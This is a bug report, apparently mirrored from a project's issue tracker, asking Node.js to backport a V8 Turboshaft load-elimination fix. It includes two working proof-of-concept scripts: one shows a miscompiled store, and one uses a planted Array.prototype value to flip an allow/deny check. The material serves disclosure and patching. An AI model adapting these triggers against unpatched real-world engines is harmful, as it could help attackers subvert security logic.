V8 Turboshaft LLE alias bug (554421904) not backported to V8 14.6 (Node.js v26)
Chưa có ai nhận issue này.
- Ngôn ngữ chính
- JavaScript
- Star
- 122k
- Fork
- 37.3k
- Merge trung bình
- 4 ngày 2 giờ
- Pull request đã merge (30 ngày)
- 283
Mô tả
Summary
V8 bug 554421904 — "Turboshaft LLE: non-writing calls can create aliases" — is fixed upstream in V8 15.3 / Chrome 153 by commit b44239fe. The fix is not present in the V8 14.6 snapshot shipped by current stable Node.js v26.3.0.
An optimized function returns a wrong value (undefined instead of 1.1) because Turboshaft's Late Load Elimination (LLE) marks a BoundFunction invocation as a non-writing call, but the call creates a hidden alias to an input array and writes through that alias. LLE does not invalidate its tracked state, so a subsequent valid store (set7) is eliminated — the returned array slot stays undefined.
This is a backport request: please apply b44239fe to Node.js's V8 14.6 line, or confirm it is already scheduled.
Environment
| Node.js | v26.3.0 (current stable) |
| V8 | 14.6.202.34-node.20 |
| Platform | macOS arm64 (compiler-level bug — platform independent) |
| Reproduced | 5/5 fresh processes |
| Fixed in | Chrome 153 / V8 15.3 (commit b44239fe) — absent in Node.js v26 |
Steps to Reproduce
node --allow-natives-syntax v8-lle-poc.js
Actual output (wrong) on Node.js v26.3.0:
Optimization status: 65 | Turboshaft(64): true | TurboFan(2): false | Maglev(16): false
staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: undefined | expected: 1.1 | WRONG!
target.length: 0 | expected: 0 | OK
RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store
V8: 14.6.202.34-node.20 | Node: v26.3.0
Expected output (patched build):
staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: 1.1 | expected: 1.1 | OK
target.length: 0 | expected: 0 | OK
RESULT: NOT TRIGGERED on this build
PoC #1 — Correctness (v8-lle-poc.js)
// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26)
// Upstream fix: commit b44239fe (V8 15.3 / Chrome 153)
// Run: node --allow-natives-syntax v8-lle-poc.js
'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
const receiver = rest[32765] ? rest[32766] : doubleArray;
set0(receiver, 1.1);
}
function victim(payload) {
const staleArray = Array(8);
const target = [];
if (!trigger) staleArray.x = 0;
boundCarrier(trigger, staleArray);
set7(staleArray, payload);
return { target, staleArray };
}
%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);
const doubleArray = Array(8);
set0(doubleArray, 1.1);
set7(doubleArray, 0);
set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
let trigger = 0;
victim(0);
trigger = 1;
boundCarrier(trigger, doubleArray);
trigger = 0;
victim(0);
%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const { target, staleArray } = victim(1.1);
const status = %GetOptimizationStatus(victim);
console.log('Optimization status:', status, '| Turboshaft(64):', !!(status & 64));
const a0 = staleArray[0];
const a7 = staleArray[7];
console.log('staleArray[0]:', a0, '| expected: 1.1 |', a0 === 1.1 ? 'OK' : 'WRONG!');
console.log('staleArray[7]:', a7, '| expected: 1.1 |', a7 === 1.1 ? 'OK' : 'WRONG!');
if (a0 === 1.1 && a7 === 1.1) {
console.log('RESULT: NOT TRIGGERED on this build');
} else {
console.log('RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store');
console.log(' V8:', process.versions.v8, '| Node:', process.version);
}
PoC #2 — Escalation (v8-lle-escalation.js)
'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
const receiver = rest[32765] ? rest[32766] : doubleArray;
set0(receiver, 1.1);
}
function victim(payload) {
const staleArray = Array(8);
const target = [];
if (!trigger) staleArray.x = 0;
boundCarrier(trigger, staleArray);
set7(staleArray, payload); // DENY write — LLE target
return staleArray[7]; // own property if written, else prototype
}
%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);
const doubleArray = Array(8);
set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
let trigger = 0; victim(0);
trigger = 1; boundCarrier(trigger, doubleArray);
trigger = 0; victim(0);
Array.prototype[7] = 'ALLOW'; // attacker-controlled prototype slot
%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const r = victim(0); // payload 0 = DENY
console.log('status:', %GetOptimizationStatus(victim), '| returned arr[7]:', r);
console.log(r === 0 ? 'DENY OK (secure)' : 'STALE ALLOW via prototype — security decision on wrong value!');
delete Array.prototype[7];
Confirmed output (Node.js v26.3.0):
status: 65 | returned arr[7]: ALLOW
STALE ALLOW via prototype — security decision on wrong value!
Note: the escalation requires attacker-controlled JS execution. It demonstrates the maximal impact class of the miscompilation only, not a standalone boundary-crossing claim.
Root Cause
boundCarrier = carrier.bind(null, ...Array(32765).fill(0))— 32,765 bound args + 2 call args = 32,767 (kMaxArguments)- Turboshaft LLE marks the BoundFunction invocation as
!can_write()because it only allocates new memory for argument marshalling - Inside
carrier,rest[32766]isstaleArray— the call created an alias to the input, andset0writes through it - LLE does not invalidate
staleArray's state, soset7(staleArray, payload)is eliminated - Result:
staleArray[7]staysundefined
Upstream commit message (b44239fe) confirms:
"The can_write effect really means 'can write to pre-existing memory'... A builtin that allocates memory and writes to it can be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate."
Suggested Fix
Backport V8 commit b44239fe
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
"[M153] [turboshaft] LLE: non-writing calls can create aliases" — Fixed: 554421904
References
- Upstream fix: https://chromium.googlesource.com/v8/v8/+/b44239fe
- Code review: https://chromium-review.googlesource.com/c/v8/v8/+/8345010
- V8 bug: 554421904
Hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Hướng nghiên cứu
Bắt đầu bằng cách so sánh snapshot V8 14.6 của Node.js với upstream commit b44239fe, sau đó chạy v8-lle-poc.js và v8-lle-escalation.js bằng lệnh Node.js v26 được tài liệu hóa. Kiểm tra quy trình backport V8 và xác thực một bản build đã được áp dụng patch dựa trên cả hai đầu ra mong đợi; được xem là hoàn tất khi fix đã được áp dụng hoặc lịch trình của nó đã được xác nhận.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Đánh giá
- Công nghệ
- javascript, nodejs
- Lĩnh vực
- compilers
- Loại issue
- Lỗi
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức độ hoạt động
- Sôi nổi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức phù hợp với người mới
- 48/100